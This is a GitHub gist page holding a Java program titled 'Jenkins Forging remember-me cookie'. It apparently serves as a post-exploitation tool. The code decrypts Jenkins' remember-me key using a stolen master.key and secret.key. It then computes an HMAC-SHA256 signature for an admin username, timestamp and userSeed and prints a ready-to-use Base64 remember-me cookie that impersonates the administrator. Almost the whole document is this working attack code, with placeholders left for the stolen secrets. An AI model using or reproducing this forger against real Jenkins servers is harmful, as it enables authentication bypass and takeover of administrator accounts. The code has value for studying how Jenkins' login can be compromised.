Created
May 30, 2024 03:45
-
-
Save mtiennnnn/551b7320c064db02aad815c6bdb91d9c to your computer and use it in GitHub Desktop.
Jenkins Forging remember-me cookie
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Sorry about my spaghetti code | |
import javax.crypto.Mac; | |
import javax.crypto.spec.SecretKeySpec; | |
import java.io.IOException; | |
import java.nio.charset.StandardCharsets; | |
import java.nio.file.Path; | |
import java.security.GeneralSecurityException; | |
import java.security.InvalidKeyException; | |
import javax.crypto.SecretKey; | |
import java.security.NoSuchAlgorithmException; | |
import javax.crypto.spec.SecretKeySpec; | |
import javax.crypto.SecretKey; | |
import javax.crypto.BadPaddingException; | |
import javax.crypto.Cipher; | |
import javax.crypto.CipherInputStream; | |
import javax.crypto.CipherOutputStream; | |
import javax.crypto.SecretKey; | |
import java.io.File; | |
import hudson.Util; | |
import hudson.util.Secret; | |
import hudson.util.TextFile; | |
import java.io.InputStream; | |
import java.io.OutputStream; | |
import java.nio.file.Files; | |
import java.util.Base64; | |
public class Main { | |
public static void main(String[] args) throws GeneralSecurityException, IOException { | |
byte[] ass = "::::MAGIC::::".getBytes(StandardCharsets.US_ASCII); | |
for (byte b : ass) { | |
//System.out.print(b + " "); | |
} | |
////////////////////////////// GIVE ME SOME INFO ////////////////////////////// | |
SecretKey masterKey = Util.toAes128Key("<master.key>"); | |
Cipher sym = Secret.getCipher("AES"); | |
sym.init(2, masterKey); | |
InputStream fis = Files.newInputStream(Path.of("<path to binary remember>")); | |
////////////////////////////////////////////////////////////////////////////// | |
CipherInputStream cis = new CipherInputStream(fis, sym); | |
byte[] bytes = cis.readAllBytes(); | |
byte[] var7; | |
int payloadLen = bytes.length - "::::MAGIC::::".getBytes(StandardCharsets.US_ASCII).length; | |
byte[] truncated = new byte[0]; | |
if (payloadLen < 0) { | |
System.out.println("ngu"); | |
} else { | |
for (int i = 0; i < "::::MAGIC::::".getBytes(StandardCharsets.US_ASCII).length; ++i) { | |
if (bytes[payloadLen + i] != "::::MAGIC::::".getBytes(StandardCharsets.US_ASCII)[i]) { | |
System.out.println("wtf"); | |
} | |
} | |
truncated = new byte[payloadLen]; | |
System.arraycopy(bytes, 0, truncated, 0, truncated.length); | |
for (byte b : truncated) { | |
//System.out.print(b + " "); | |
} | |
System.out.println(); | |
} | |
////////////////////////////// GIVE ME SOME INFO ////////////////////////////// | |
StringBuilder buf = new StringBuilder(); | |
String username = "<admin username>"; | |
String timestamp = "<some timestamp>"; | |
String userSeed = "<userSeed>"; | |
String secretKey = "<secret.key>" | |
String usertoken = username + ":" + timestamp + ":" + userSeed + ":" + secretKey; | |
byte baaaa[] = usertoken.getBytes(); | |
// for (byte b : baaaa) { | |
// System.out.print(b + " "); | |
// } | |
////////////////////////////////////////////////////////////////////////////// | |
System.out.println(); | |
Mac mac = Mac.getInstance("HmacSHA256"); | |
SecretKeySpec secretKeySpec = new SecretKeySpec(truncated, "HmacSHA256"); | |
mac.init(secretKeySpec); | |
byte[] macResult = mac.doFinal(baaaa); | |
for (byte b : macResult) { | |
//System.out.print(b + " "); | |
} | |
for (byte b : macResult) { | |
int unsignedByte = b & 0xff; | |
if (unsignedByte < 16) { | |
buf.append('0'); | |
} | |
buf.append(Integer.toHexString(unsignedByte)); | |
} | |
System.out.println("[+] Foring remember-me cookie..."); | |
System.out.println("[+] Timestamp: " + timestamp); | |
System.out.println("[+] signatureValue created: " + buf); | |
System.out.println(); | |
String result = username + ":" + timestamp + ":" + buf; | |
byte[] encodedBytes = Base64.getEncoder().encode(result.getBytes()); | |
System.out.println("[+] Cookie: " + result); | |
System.out.println("Cookie: remember-me=" + new String(encodedBytes)); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment